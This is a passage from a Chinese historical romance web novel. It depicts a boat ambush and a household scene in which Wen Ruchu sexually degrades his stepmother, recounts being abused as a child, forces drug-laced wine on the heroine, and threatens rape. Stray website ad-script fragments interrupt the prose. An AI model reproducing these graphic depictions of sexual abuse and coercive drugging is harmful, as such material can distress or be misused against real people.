看她那副对敌人的厌恶感,瞬间平复男人焦灼的心,方才他情急之下,手里的鱼鳞软剑已然伸出去半寸。 细长眼眸将二人心事尽收眼底,萧染笑了笑,“本来我是想抓与你同行的江南小妮子,可我上船逛了一遭,却发现见不得光的小秘密。” 扬起骨节分明的细长手指,尝试捕捉风的影子,“啧啧,原来时将军好这口,喜欢偷鸡摸狗。” 停住手指,眼神迷离,“在下十分好奇,温侍郎的未婚妻,食之味如何?” 鼻翼翕动,嗅闻花香,“哦,原来是背叛的味道。” “兄弟妻,不可欺。”萧染喃喃道。 眼神一凛,“‘冷面阎罗’的名头,该易主了。” “来人呐,把我斧子拿来。” 萧染解开衣扣,脱掉襕衫,露出结实肌肉,后背纹十朵各色蔷薇花,花色鲜艳夺目,根茎棘刺乍现,刺尖沾染风浪。 随从递上镀金蘸斧,斧柄一尺来长,斧头金光灿灿,斧刃锋利闪耀寒光。 萧染手握金蘸斧,挥斥方遒,熙熙然向时枫迎面劈来。 时枫攥紧鱼鳞剑,剑花出泞尘,绕指柔索索缠金刚斧。 襕衫公子愈战愈勇,金蘸斧耍得虎虎生风,劈剁搂云,片砍削撞,劈山开岭,气势粗犷豪壮。 玄袍将军应接不暇,鱼鳞剑如飞风,抽带提格、击刺点崩、搅压劈截洗,动作轻快敏捷,潇洒飘逸。 二人武力相当,刚柔并济,交手十余回合,暂不能分胜负。 跟疯子硬拼不是办法,须寻逃脱之道。 剑斧相拼的罅隙,男人眼角暗暗扫过佳人,见她朱唇紧闭,估计嘴巴里面咬得全是鲜血。 黯淡星眸对接清冷凤眸,两颗心灵彼此联结,瞬间生出共同计划,心有灵犀一点通。 时枫金剑探出,虚晃一招,引得萧染侧身一躲。 苏绾故技重施,拿出西厢房和春月坊使过的独门绝技,手刀猛砍挟持她的络腮胡喉咙,膝盖用力向上一顶,击中柔软圆滚处。 不出所料,壮硕如牛的络腮胡,“啊”的一声,嚎叫虾子般跳离弹开。 再强壮的男子,也禁不住这两招夺命连环技。 趁络腮胡嚎叫之际,苏绾捉裙两步跨上船舷,面对翻天浪潮,想也不想径直跳入江涛。 这边时枫横剑飞甩,金剑在空中滑过一段弧光,男人顺势一出溜,游鱼一般钻入碧波。 暗处埋伏的敌人方才警醒,鱼叉鱼枪纷纷如雨天星落,嗖嗖扎入江浪。 密不透风的轮番扫射之后,江面恢复平静,不见鱼儿上钩,血水上涌。 不过一瞬间,二人双双入江。 萧染瞠目结舌,双拳竖立,赤膊马步。 居然在他眼皮子底下,囚禁猎物生生逃脱困局。 短短二十载生涯,再也没有比此时此刻更加耻辱的一天。 金蘸斧带着满腔怒火飞掷出去,当啷啷,正插进苏绾跳下的船舷,深入一寸多深。 “将船炸成飞灰,不留一处活口。” 细长眼眸渐渐隐没,前尘往事不堪回首。 究竟要怎样,才不会让九泉之下的她,对自己失望呢? 江涛簸岸,黄沙拍走。 时枫拖拽苏绾的身体,奋力向岸边游去。他水性尚佳,然而刚刚猫在船底躲避弩箭袭击,憋气时间过长,导致头脑有些眩晕。 好在苏绾亦懂泅水,拉扯并不怎么费力气。 “你干嘛救我?”苏绾搂着时枫的脖颈,边游边抱怨。 时枫凤眸一沉,“怎地,你就那么想死?还怪我救你了。” 苏绾嗔道:“好歹先去救你的未婚妻啊。” 男人闻言一震,洑水速度明显放慢,语气有些心虚:“你脑子进水了,净说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些狗屁话。我哪里来的未婚妻,你是我什么人,管我那么多。” 苏绾翻了翻眼眸,“你的私事我管不着,然而你平白无故丢下她,不是白白惹人家伤心难过?再说……” “再说,你也怕被温如初看见,怕他知晓你做的那些杀人越货的丑事。”男人故意抢过话头,堵苏绾的嘴。 “你……”苏绾气得扁嘴。 贼喊捉贼,还不都是受他逼迫。 终于靠近河岸,时枫挣扎站起身,横腰抱起苏绾。才走了两步,忽然树荫底下窜出几道人影,呼和喝斥声四起。 吓得苏绾缩进男人胸怀。 人影逼至跟前,仔细一看,竟是手握金刀的侍卫。 原来有人发现自画舫逃出的客人,立即通报巡城兵马司,守卫士兵迅速集结队伍赶来增援。另有一支巡逻兵搭乘官船,围剿画舫受困的人员。 时枫总算放心,想必温如初和沈枝意都已安全脱险。他抖了抖湿透的衣袍,打算先将苏绾抱到自己的马车,再驱车送她回家。 熟悉的牙白锦袍一闪而至,桃花眼眸剪了剪。 “榆白,你怀里抱着的,可是我的妻?” 时枫闻言一愣,低眸俯视苏绾,此刻她的眼睛睁得大大,仿佛见了鬼。 他下意识地后退一步,犹豫着,迟疑着,低头间,万般心事涌上心头,偏不想双手奉还。 温如初粲然一笑,“怎么,榆白想夺人所爱?”桃花眼眸凝结万年风霜,“也不问问我这做兄弟的,答不答应。” 眼见铁兽的手臂箍得越来越紧实,苏绾再也撑不住,急急地挣脱时枫的怀抱。 “我没事了,多谢将军搭救。” 她不痛不痒地说道。 冷漠话语刺了时枫的脸,他正欲发作,忽然闷天一声震雷响,带动地面也跟着摇晃。 巨大火球自江心画舫爆裂,浓浓黑烟扩散上升。江水遽然涨潮,翻天巨浪猛烈拍击江岸。树林群鸟惊起,翅膀扑棱扑棱,鸣叫四散逃窜。 “你做了错误的选择,那个女孩还在船上。”温如初冷冷说道。 男人瞬间惊醒,一个飞跃纵身跳入海子,拼命向火球方向游去。 心中懊悔不已,倘若沈枝意出了问题,他就是赔上所有身家性命,亦难以同沈恪交待。 整座船舱已被炸得四分五裂,木板断裂碎片,散发焦糊气味,火焰翻滚江浪,水火得以永生。江面漂浮几具尸体,殷红染透半江水。 时枫仔细翻检尸身,皆是船夫、船婆子和船老大等人,所有人都被利器割断喉咙毙命。 希望渐渐渺茫,男人似游魂般飘荡。 忽然,远处什么东西扒着木板哗啦哗啦踩水。 时枫飞一般窜过去。 凑近一看,小小人儿,脸颊架在木板上喘息。右臂裸露在外,血伤触目惊心,不停地往外渗血,引来成群的游鱼。 原来沈枝意被水鬼擒住,期盼半日也无人拯救,只好自力更生。虽然不通拳脚,然而跟随沈恪走南闯北,也学会些逃生的小手段。趁水鬼不注意,狠踩贼人脚面,身子一挪,钻进隔间的木门后。 千钧一发,许是船舱另一边出了事故,导致众水鬼放弃追捕,执行紧急撤退,临行前挨个抹了俘虏的脖子。 沈枝意在隔间躲藏半日,听得门外惨叫声渐渐停歇,这才小心翼翼探出门。 哪知敌人点燃火药引信,欲炸毁整座画舫。 在爆炸前刹那,沈枝意纵身跃入江水,右臂被崩离碎物击伤,咬牙拔出铁刃,抓木板奄奄一息。 沈枝意委屈地哭道:“枫哥哥,你怎么才来?再晚一点,卿卿就没命啦。呜呜呜……” 男人撕心裂肺般痛惜,宽大臂膀裹住小小人儿,搂在怀里,喃喃道:“是我的错,是我的错。” 另一边,苏绾目送时枫离去,心内焦灼不已。 生命流逝,过眼云烟,她亦难逃历史的车轮。 苦苦执着于立天改命,值得吗? 经此一遭,恐怕温如初已对真相了解得八九不离十。剩下一点谜团,估计在于逃婚的缘由。 她不敢再提有关时枫的事情,亦不能过问画舫的结局,心中愁绪万千,只得低身拜道:“绾绾感到十分疲累,念哥哥送我回去吧。” 温如初未作答。 马车晃晃悠悠,踩在青石子路面,咯吱咯吱响。画舫残骸浅淡,渐渐化作青烟,融入天际不见。 温如初食指叩敲车窗,淡淡道:“你跟我回家,见见我父母。” 苏绾闻之色变,好端端地为何要去温家。她直觉上准没好事,但她也不敢拒绝,只好囫囵答应:“好。” 温如初桃花眼眸剪了剪,望向窗外飞花,陷入久久的沉默。 44. 温家 霁日当空,雨后初晴,绿槐高柳咽新蝉。紫竹苑落英缤纷,扫帚簸箕横躺,扫院婢女不知所踪。大概跑出去玩了,小丫头年纪不大,玩心尚重,无霜也未在意。 因苏府大少爷苏尽欢牢笼溜达一圈,又被全须全尾释放。别的不说,上次苏尽欢可是对她放下狠话,“早晚要办了你”,令无霜彻夜难眠。盼望小姐早日带她逃出樊笼,从此不再担惊受怕。 忽然院子外面有响动,无霜赶紧出去一看,扫院婢女春蝉手捧木盆,悻悻归来。 春蝉噘着嘴,称自己被管事嬷嬷差遣去东院磨豆腐,辛苦劳作大半日,获得一盆没人要的豆腐渣滓。 无霜拉着春蝉的手,嘱咐她道:“你是紫竹苑的婢女,无事不必听东院调遣。你想想看,东院那么大,还缺你一个磨豆腐的吗?分明是夫人屋里的嬷嬷故意支走你,让你落得一个懒散倦怠的罪名。” 春蝉唬得满脸惨白,连连弯腰道歉,发誓下次再也不去了。 芸娘恰巧路过,捉裙上前招呼无霜,“是我叫她去的,不碍春蝉的事,她也只是听从吩咐罢了。” 素手一抹额间细汗,“我打发春蝉去东院忙活,分散婆子们的注意力,没事不要老盯着咱们。” 芸娘香汗淋漓,自晌午就在院里忙碌,打发小厮搬进搬出,十几只檀木箱子,全都上了锁。 无霜问道:“二奶奶这是要搬家,搬到哪里去?我前儿见到门口停泊送货的马车,好几辆呢。” 芸娘连忙嘘道:“小声些,莫叫那院的听了去。”她瞅了瞅周遭,低声道:“早前我就和你家姑娘商量好了,待风头火势过去,咱们就离开这座阎王庙。既这么决定,那不得备着些钱财么,我这神不知鬼不觉把家什运走,待女大虫坐吃山空那日,一准活活气死她。” 无霜惊道:“话虽如此,二奶奶大张旗鼓地搬家,即便夫人不知道,老爷常回来住,肯定会发现的呀。” 芸娘狡黠一笑,障袂道:“你道我有那个胆子,在老爷眼皮子底下瞎搞?都是老爷授意我这么做的,就是吃准不让女大虫好过。” 无霜转忧为喜,“霜儿果然没有看错,二奶奶是个值得托付的人。小姐能得二奶奶助力,真是天大的幸运。” 二人正说话间,忽然文竹急急忙忙从外头归家,一进门四处寻找无霜。他刚刚接到温府随从远舟递来的口信,言二小姐旅途劳累,先去温府歇脚,今晚不回来了。 “姑爷请阿绾去家里做客,这能有什么问题?”芸娘感到疑惑不解。 文竹却说,他在街角听到,午间北海河道发生大事件,整座画舫炸成碎片,全城巡逻士兵都去了,正在抓肇事者,却没有任何线索。 芸娘惊道:“咦?阿绾跟姑爷,去的不就是北海?别是出什么岔子罢。” 能有什么岔子呢? 无霜不得而知。 春色将阑,莺声渐老,转眼又过了十日。 苏绾抬首望见府邸灯笼印制“温府”二字,莫名感到阴风飒飒,不禁拉扯肩头薄纱披帛。 自画舫一案,她被温如初胁迫,拐来温府以后,一直客居在厢房,足足过了十日。 期间,除却一两哑巴婢女,及打杂的沉默仆役,她未曾见过温宅家主,就连温如初,亦是深居简出,不曾露过一面。 苏绾等于是被软禁。 心中揣测万千,不知前景如何,又牵挂无霜芸娘等人,生怕她不在身旁,她们被别人欺负了去。才下眉头,又思及那个家伙最后纵身跃入江波的情景,也不知道他还活着没有。 无数忧虑思念缠绕成团,丝丝缕缕勾连心头眼底。翻来覆去,夜不能寐,人也日渐消瘦。 这日里,忽然侍从远舟拜道:“少爷请姑娘前堂相见,拜会老爷及夫人。” 该来的,总会来。 苏绾星眸泛起坚毅光芒,小小身板挺立风中,飞花搅独愁。 温家老宅百年有余,簪缨世家,书香门第。温老爷官拜从四品国子监祭酒,因年岁已大,桑榆暮影,早早以健康为由向朝廷请了致仕。 温老爷四十多岁方得一子温念,养到七八岁,老妻病逝,隔两年娶一房年轻貌美正妻,成为温如初的继母。 温家人丁单薄,温老爷子性情寡淡,未另娶填房,从此再无所出。温如初一心扑在官路上,也未纳妾。合家上下,仅三人而已,不免有些清冷寂寥之感。 温老爷年逾古稀,神智不大清醒,整个人被塞进木质轮椅中,仰头靠在椅背,张着干瘪无齿的嘴,嘴角垂涎欲滴,口中咿咿呀呀囫囵不清。 温夫人年纪三十出头,徐娘未老,风韵犹存。穿一件广袖长袍褙子,紧实罩住全身。不知为何,眉眼透着丝丝缕缕哀愁,让人不解。 苏绾上前,深深道了个万福:“小女苏绾,拜见温伯伯,温伯母。” 温夫人促狭道:“孩子快起来,咱们马上就是一家人,彼此不必客套。”丹凤眼一转,满脸歉意道:“老爷身子骨不太便利,就甭再请安了。” 她抬手令苏绾入座,寒暄客套两句,问候苏夫人苏老爷金安。 前世苏绾嫁入温家,新婚燕尔,每日依照规矩晨昏定省。记忆中温父温母和善可亲,与眼前所见并无二致。 事出反常必有妖,人若反常必有刀。 苏绾心中惴惴不安,不晓得温如初打的什么算盘。她倒不惧怕他以温家为由,逼迫她早日成亲。已经板上钉钉的事情,也不差这一时半会。 恰时温如初趸入厅堂,幽幽檀香萦绕。 “绾绾,这几日你可还好?抱歉,最近我忙于应付公务,冷落了你,你不会怪我吧。”温如初负手而立,芝兰玉树,春风毣毣,笑意盈盈。 苏绾打心眼泛酸,她真是看够了温如初这套虚伪嘴脸,明明对她有所企图,偏要装出深情款款模样。 她强忍作呕的欲望,侧身娇声道:“念哥哥心系天下百姓,绾绾又怎会不高兴呢?” 温如初桃花眼眸闪过不易察觉的光芒,长白手指递向苏绾,任她娉婷袅娜地追随他的脚步,又陡地一摔,栽歪进他怀抱。 “当心。”温如初低身扶起佳人。 苏绾蓦然一惊,瞬间脸颊绯红,慌忙站起身,“念哥哥,不要这样,伯父伯母看着呢。” 美人娇切,嘤嘤成韵。 温如初笑道:“绾绾不必烟视媚行,父亲母亲面前,我向来直截了当,肝胆相照。”他瞥了温父温母一眼,“我所钟意的女子,他们二老亦当视若珍宝。” 言讫,令奴仆端来两盏茶,温如初一撩衣摆,亲自上前奉茶。 他取下一盏,双手奉给温夫人,态度毕恭毕敬。温夫人接茶,微微颔首致意。 温如初回手取下另一盏,趸至温老爷身边,调高音量,“儿子给父亲敬茶,祝父亲椿龄无尽,海屋添筹。” 温老爷似有反应,咧嘴憨笑,嘴里哇哇乱叫,两只枯木手掌猛烈拍打轮椅扶手。 温如初握住温老爷干瘪下颌,擎着热气腾腾的茶盏,对准嘴巴向里倾倒。 茶水沿着黑洞般嗓子眼顺流而下,温老爷泪眼滂沱,嘴里依旧乱叫着,两手猛拍木椅。 同之前动作没两样,外人也难深究,茶水是否过热,温老爷有没有被烫到。 苏绾心内一震,星眸闪烁不定。她猜那杯茶水本来就是烫的,可她又想不通,温如初为何要强灌他的亲爹,这难道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是大不敬? 温如初敬完茶,取出汗巾拭手,面对温夫人,目光冷漠,“母亲此前从未见过绾绾,今日一见,感觉如何?” 温夫人一愣,显然未曾料及温如初会这样问她,她顿了顿,“苏姑娘典雅大方,温婉贤淑,得以嫁入我温家,乃我温家荣幸。” 温如初忽然眼眸一沉,汗巾猛地飞出,狠狠地抽中温夫人面颊,“虚伪。” “你心里可不是这般想的。”他说。 温夫人被打了个措手不及,登时面色苍白如纸,慌忙摇手辩解:“我没有,我是真心喜欢苏姑娘的。念儿,你千万不要这么想。” 温如初目光闪过若有似无的凉意,“你少狡辩,我还不知道你的鬼心思?你难道不是轻贱她庶女身份,认为绾绾根本配不上我吗?” 温夫人腾地站起身,碎步上前,扑通一下,兀自下跪哀求:“温婢不敢,求念儿饶恕。” 苏绾惊得瞠目结舌,噤若寒蝉。堂堂温家正头夫人,一言不合竟给继子下跪。 温如初神色淡然,命令道:“你自己去跟绾绾说。” 温夫人跪地匍匐至苏绾脚下,低声下气,“苏姑娘,求求你相信我,温婢不敢对你不敬。” 苏绾早已吓傻,她慌忙扶起温夫人,“夫人快快起身,苏绾担不起。” 温夫人执意不肯,非要苏绾亲口说出“原谅相信她”一类的话语,她才愿意起来。 苏绾被她弄得精神恍惚,只好连声答应:“我相信你,你没有对我不敬。” 温夫人若获得救赎,抬起半个身子,望向温如初,眼神期期艾艾。见温如初不置可否,她才委身爬起来,重新回到座位,扣好褙子对襟,又成为雍容文雅的温夫人。 温如初恬然道:“甚好,一家人不说两家话,和乐融融。” 温夫人跟着假笑,嘴角不自然地上翘,看起来却是一副苦相。 苏绾浑身冷汗岑岑,简直不敢置信,温夫人一家之主,就这样屈服于温如初的淫威之下。 她扶了扶额,佯作疲乏劳累的样子,“念哥哥,我叨扰贵府十日,还未跟父母报备。眼下见过伯父伯母,一切安好,我也该回去了。” 温如初道:“不急,用过晚膳再走不迟,我叫厨房预备了你最喜欢吃的莲子羹,先扶你去厢房歇息。” 他既不肯放她走,苏绾也没得办法,只得跟随仆从来到厢房,躺在床榻上,难以相信刚才发生的一切。 温如初随便一句话,挑起事端,竟让温夫人放弃尊严,跪地求饶。简直滑天下之大稽。与之相比,温如初暴力对待温老爷,反倒算是仁慈之心。 她不晓得,温如初揭开家族遮羞布给她看,究竟有何用意。她单觉得,纵然温父温母,血脉亲情,依然逃脱不掉温如初的夺命桎梏。 恶鬼竟连父母高堂都不放过。 冷寒袭来,苏绾紧紧地裹住身上的被衾。脑子里阗满杂乱思绪,诡谲臆想,一夕千念,仿佛无形山峦压在心头。想着想着,她就睡着了,鼻尖萦绕淡淡檀香。 落日熔金,暮云合璧。 隐隐约约的呻吟声传入耳际,将苏绾从梦中惊醒。 她环顾四周,暗淡灯火映照房间阴影,所有物品都被悄无声息地吞噬。眼睛紧盯黑暗角落,寻找声音来源。身体不受控制地颤抖,嘴唇轻轻哆嗦,仿佛无数条小虫在肌肤爬过。 苏绾寻着声音来源,找到狭窄暗室。临近暗室,呻吟声愈发清晰可闻,伴随阵阵呼吸声。她感到惊惶不安,但好奇心驱使她,小心翼翼趴在窗格,屏住呼吸,试图一探究竟。 灯影憧憧,苏绾瞪大眼睛,却一眼窥见人间炼狱,令她不禁倒吸一口冷气。 45. 毒酒 阴暗的房间,银台红烛淌泪,烛火摇曳逐风斜。 温夫人跪伏在地,肩头褙子半遮半开,内里春光乍泄,正被一老汉压在后背,反掣住手臂,推进拉扯不休。温夫人面容痛苦,娥眉紧蹙,朱唇紧抿。 面前立着温如初,一脸冷戾之色,觑着面前男女媾合。 “舒服吗?”温如初冷冷道。 温夫人咿咿呀呀:“舒、舒服。” “舒服就学狗叫。” 温夫人立刻汪汪叫起来,听得苏绾头皮炸裂。 温如初面露满意之色,抚摸温夫人头顶,“乖狗儿。” 老汉突然集中火力猛攻,拉着温夫人猛力摇晃几下,在温夫人连连惊叫中,霍然抽出泄身。温夫人立马回头踅身,扑在老汉股间,舌头舔舐干净,真跟哈巴狗儿一般。 温如初命令:“今日饭食喂完了,下去吧。” 老汉起身,拜了拜温如初,提上绔子,穿好粗布衣裳,踅身出门离去。 苏绾忘了躲闪,同老汉擦肩而过,立在窗外不知所措。 忽然里面声音呼唤她,“绾绾,进来。” 苏绾仿佛一架行尸走肉,无神地踱进屋里。她完全不敢看向温夫人,眼神拼命躲闪。 温如初扯过玉手,揽香肩入怀,嘴角上扬,“绾绾,看得尽兴否?” 苏绾低垂着头,寂然无声。 温如初回眸命令:“温婢,过来。” 温夫人双膝跪地,两肘支前,应声而来,爬至温如初脚下,跪伏起身,望着温如初,两眼放光。那表情好似狗儿深情凝望主人。 温如初睨了一眼地上的温夫人,“你可知她为何沦落为奴?” 苏绾摇摇头。 温如初缓缓道:“她本是鸿胪寺卿家的千金小姐,年方二十五岁,待字闺中。人道是她始终出不了阁,因她与鸿胪寺九品不入流的署丞私定终身。然对方身份低微,这一生也娶不得她。” 温如初咬牙恨道:“我爹受小人蛊惑,八抬大轿娶她进门做正妻,拆散她一对鸳鸯宿。这个贱女人,对我温家怀恨在心。那时我才十岁,懵懂儿郎,根本不懂抵抗。竟被她祸害了去,日夜奸霪,成为禁脔。她不去勾搭小厮奴才,偏偏对我一个未经事的孩童下手,报复温家强取豪夺。你说,她该不该死?” 苏绾仿佛听到天方夜谭。 温如初继续道:“我爹是个老糊涂,视而不见,充耳不闻,任她肆意胡作非为。我咬牙强忍四年,十四岁躲入山中寺庙带发修行,苦练剑术防身,总算逃离魔窟。后来我继晷焚膏,囊萤夜读,凭自己本事,蟾宫折桂,爬到如今的位置。就为了能亲手惩罚她这个——” 他骤然转身,回手一巴掌,“啪”得一声,重重扇在温夫人脸颊。 “贱婢。” 温夫人捱了一下,身子一旋,栽歪倒地。她很快爬起身,重新跪伏地面,好似不倒翁。 温如初睇着跪在地上的温夫人,脸上露出满意的笑容,“人变成狗,其实很简单。抓住她的软肋,用力拧紧,最好拧下她心头肉,她便会乖乖做一只哈巴狗。” 他顺手牵起温夫人一缕长发,绕在指间,“贱婢不是喜欢霪乱么?当着她心上人的面,被一百人轮流奸污,啧啧,那位九品署丞,哦,做了一辈子九品芝麻官,果然不入流,竟然抠瞎自己双眼。” “哈哈哈哈,负我之人,当毙我剑锋之下。”温如初仰天大笑,笑容凄厉悲戚。 温夫人被他扯得东倒西歪,俨然成为一尊玩偶,眼神黯淡无光,身体麻木不仁,不知是否回味署丞当着她的面暴毙时的惨状。 窗外日光弹指过,席间花影坐前移。某种古老咒语力量牵引,苏绾的神态迷茫,如梦初醒,眼神空洞,身体微微颤抖。 她静静地望着窗外,亘越古今。神思飘飘荡荡,跟着回到十年前。 她看见,曾经少年懵懂无知,绮纨之岁,稚嫩清白的心,惨遭魔爪蹂躏,直碎裂成粉矶,洇着殷红血迹。又从破碎污浊里,开出荆棘浴血玫瑰。 长廊静院,灯火如月,碎幕流苏乱结。佛音呢喃入耳,禅影缥缈绰约。而满堂花醉的氛围,却掩盖不住一剑霜寒所带来的杀意。 苏绾伸出手去拉陷入泥淖中的少年,你不该这样。 少年掀眸睇向苏绾,悲戚一笑,佛不渡我,我自成魔。 苏绾哭泣,别走,你别走。 少年举起血红指甲,轻轻划破胸膛,剖出炽热滚烫的心脏。攥在手心,捏成粉齑,烟消云散。 光华流转,恍如隔世。 温如初睇着烛火,眸底泛出阴鸷之色,声音平静如水,却隐约浮现杀气。 苏绾踉跄倒地,面颊毫无血色,星眸淡漠光彩,变成两粒死去的鱼目。她的心灵遭受莫大的打击,濒于崩溃边缘。 眼前诡谲景象,化作黑白无常,温如初是那白无常,面色惨白,口吐长舌;温夫人则为黑无常,身宽体胖,个小面黑。一黑一白,两位鬼差,呼号向她索命来。 苏绾缩成一团,抱头泣曰:“小女子不曾害人,求鬼爷饶我性命。” 温如初见火候已到,揪住苏绾衣领,俯身睇她。 “绾绾,我再问你一次,你可曾负我?” 苏绾低声道:“我没有。” “还在狡辩,那个男人是谁?” 脑子灵光一闪,浮现男人身影,玄色衣衫,高大挺拔。 苏绾果断道:“没有人。” “是个有武功的人,对吗?” 他不啻会武功,诗词歌赋联对子还很在行。 苏绾喃喃道:“没有,没有任何人。” “还敢嘴硬!那块墨玉的主人,就是你的秘密。” 苏绾依旧不松口,“不是,与我无关。” “苏绾,你少装蒜,别以为我看不透你的鬼蜮伎俩。你瞒着我做过什么事,你自己心里清楚。眼前我给你最后一次机会,你告诉我那个男人是谁,我就放过你。倘若惹恼了我,你会沦落为跟温婢一样的下场。” 烛火摇曳,映照温如初惨白俊脸,宛如暗夜鬼魅。同他身上隐约弥散的檀香气息,相形益彰,刺激着苏绾的神经。 恶鬼终究对她亮出獠牙。 苏绾闭上眼,俄顷,吐了口气,“你打不过他。” 温如初桃花眼眸一沉,嘴角向上翘了翘,“你终于肯承认了。”他步步紧逼,“他是谁?” 苏绾凛然道:“他是我的剑,一身浩然正气,上斩邪神,下伐恶鬼。魑魅魍魉,妖魔鬼怪,休得近身辱我!我手持三尺利剑,杀尽天下一切不平事。” 仿佛用尽毕生力量,苏绾垂下美丽的螓首。假如虚张声势吓不到他的话,她唯有束手就擒。 温如初一脸死寂之色。 他再次扬起手掌,停在半空中,久久不肯落下。并非他怜香惜玉,他的仁慈心早在佛堂就祭了天,化作一枕清风,毫无痕迹。 他是不甘心,凭他机关算尽,竟被苏绾小小草芥子牢牢反制,用尽震慑手段,也不能让她屈服。 可恶。 苏绾抵死不从,出乎意料之外,又在意料之中。从前的苏绾,乖顺柔软,断不敢背叛他。眼前的苏绾,却不是苏绾,换了铁石心肠。她的眸色不再如之前那般纯净无暇,掺杂愤怒与憎恶。 温如初自省,并无任何泄露底细,露出马脚行为。却不知苏绾如何经历一番曲折,变换心意。 无妨,尚在掌控之中。 他还有一道杀手锏——婚约。婚期将至,躲在苏绾背后的奸夫,很快就会浮出水面。不管他是不是时枫,他都不怕。到时候,再将他们一网打尽不迟。 既掰不开苏绾的口,那也要敲碎她的牙,让她形神俱灭,无处可逃。 “绾绾,你真让我失望。”桃花眼眸一凛,眼底肃杀之气尽显。 苏绾抬眼惊恐睇他,每当温如初说出“失望”那两个字眼时,意味着接下来,苏绾即将面对暴风骤雨的洗礼。 从前,这种侵袭往往都以言语形式,直达她内心最柔软处,将她虐得体无完肤。 然而今日,她从温如初决绝的眼神中,读出另一层涵义——他要付诸实际行动。 苏绾轻轻摇头,泪水在脸颊滚落,细声絮泣:“念哥哥,我好怕。” 她双手紧紧握拳,指关节凸起,全身颤抖不已,仿佛受到无尽的恐惧和压迫。 温如初拎起案上酒壶,桃花眼眸睐着她,印着一丝诡笑,“你既没做亏心事,有什么好怕的?我又不会伤害你。我爱你还来不及。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏绾转身欲逃,可她腿脚酸软,根本站不起身。她慌张得卧地匍匐爬行,好似受伤的士兵,向门槛逃去。 温如初轻轻一脚,正踩住她裙裾,邪魅狂狷地笑,“你跑什么?我不过是想喂你吃点酒。这酒混有合欢散,能教你口吐真言,对我言听计从,倒省去我许多麻烦。” “合欢散”,三个字犹如琴竹,紧紧地拨动苏绾心弦。她可太熟悉这三个字了。 上一世,温如初正是用合欢散麻痹她的神经,将她送入阁老床榻,夺走她的贞洁。上个月,她还利用合欢散,算计了苏尽欢,摧毁他的官途人生。 苏绾惊恐地尖叫,声音撕裂喉咙:“不要!不要!”她不停地挣扎试图挣脱,但束缚太紧让她无法动弹。她转向温夫人,苦苦哀求:“夫人,救我啊!救我!” 温夫人身子颤抖着,双膝弯曲在地,脸上毫无表情,眼中失去神采。手指无力地握成拳,指甲深深地陷入肉中,却丝毫没有痛觉。死寂笼罩着她,仿佛她已经不再是这世界上的存在。 温如初嘴角轻扬,带着一抹不屑,“她救不了你,你还是呼唤别人罢。”说着,他悠然地抬起手,轻轻一扬,仿佛尽在掌握之中。 突然间,眼神变得阴沉,俯身贴近被俘虏的人,几近耳语,“你想叫谁来救你?” 俄延半晌,“可是那位姓时的将军?” 语气冷戾,让人不寒而栗。 “不、不是。”苏绾的声音变得歇斯底里,眼中充满恐惧和绝望,“温念,放过我吧,求求你。” 温如初擎过她的下颌,捏紧她的两腮,壶嘴探入檀口,咕嘟咕嘟,猛灌大半壶,喃喃道:“求我放过你?你死了那条心吧,没有那一天。苏绾,你永远都是我的。” 膻腥酒气自口入肠,在肠底打个转,又不断向上翻涌,卷着胃中残余爬入喉咙。 苏绾哪里经受得住这般折腾,身体痉挛呕吐不止,吐了温如初素白袍子一身污秽。 温如初神情激动,桃花眼眸放射光彩。他一辈子在污泥中摸爬滚打,心灵早已扭曲变形。愈是污浊之物,愈加让他兴奋异常。 他脱掉脏污外袍,只剩单薄中衣,不经意间掉落一粒纽扣,前襟半敞半掩,露出硬实的胸肌。 修长手指抓着堆鸦发髻,仔细以袖边擦拭掉唇际污物。俯身拾起地上半瓶酒壶,壶嘴斜倒入口冲刷。又恐她反胃,嘴唇贴紧檀口,堵住喉舌,强逼她吞酒进肚。 他倒是毫不顾忌,一手擎着她后脖颈,一手环绕丸束。舌头伸入唇齿间,深深亲吻掠夺汁液。 苏绾化身成上岸的鱼,大口大口呼吸,仍得不到给养,几欲窒息而死。 温如初吞了酒,动了凡心,眼眸散发血红光芒。他用力一扯,撕裂苏绾的衣裙,露出白皙臂膀。脸颊贴近雪白鹅颈,贪婪嗅闻花间馨香。 他的言语颤抖,带着一丝兴奋,“我之前从未触碰过你,只因你价值连城,我须为你寻得一个匹配的千金买主,才算对你圆满。” “可你竟敢背叛我,与他人苟且,自降身价,我留你何用?不如破了你的身,让你真真正正属于我一个人,永远都不会离开我。” 苏绾意识尽失,身体瘫软一团,任由他摆布。细长手指拂过每寸肌肤,随着他的指头律动。 一路畅通无阻,并没有遇见期待中的障碍。他略微有些讶异,完全不似洁白无瑕。 有人摘取了他辛苦种下的果实。 “绾绾,你背后的那个男人到底是谁?”温如初怒火中烧,声嘶力竭,他要亲耳听到那两个字,实实在在。 受药物作用影响,苏绾此时神智无知,脑中一片浑浊,冥冥之中,仅剩神思火花跳跃。 “是谁?”两字钻入苏绾脑际。 她耷拉着脑袋,嘴角一滴口水,“时……时……” 后面的字眼迷离倘恍,好似隐藏在记忆深处,遥远不见踪影。 “是谁?”语气风霜刀剑。 温如初越发失去耐心,他已做好准备,倘若苏绾依旧不肯就范,他便就地将她法办,奸污了她,反正她也丢了清白。 对方不断夹击追问,苏绾亦有些着急,结结巴巴:“时……时……” 口型呈现一个字眼,“枫”字声音喷薄欲出。 46. 隔绝 六月初九,小暑,南风吹白沙。 因画舫一案,涉及朝廷三品官吏,受皇帝旨意,三法司奉命联合会审查案。期间,三法司衙门不断派人登门造访,分别对温如初与时枫进行问询采证。 大理寺卿邵云礼来了几次,未能提供多少有价值的信息,只说北京城内,无论贵贱籍,“萧染”根本查无此人。 “或许是化名,随口杜撰得来。”邵云礼支着下颌,神情专注。 时枫抱臂坐进太师椅,两腿伸直搭在桌案,“一个专门挑战我名号的人,却不敢暴露自己的真实姓名。那他即便赢了我,也无法光明正大活在当下,还值得这般拼命吗?” 邵云礼咬着手指,“鬼市多的是这种无名无姓无户籍之人,要么死而复生,要么刻意隐瞒,也不算什么稀奇事。最关键的,萧染盯上你,其目的何在?” 瞟了一眼时枫,“你不会当真以为,他是觊觎你‘冷面阎罗’的名号,来找你单挑的吧?” 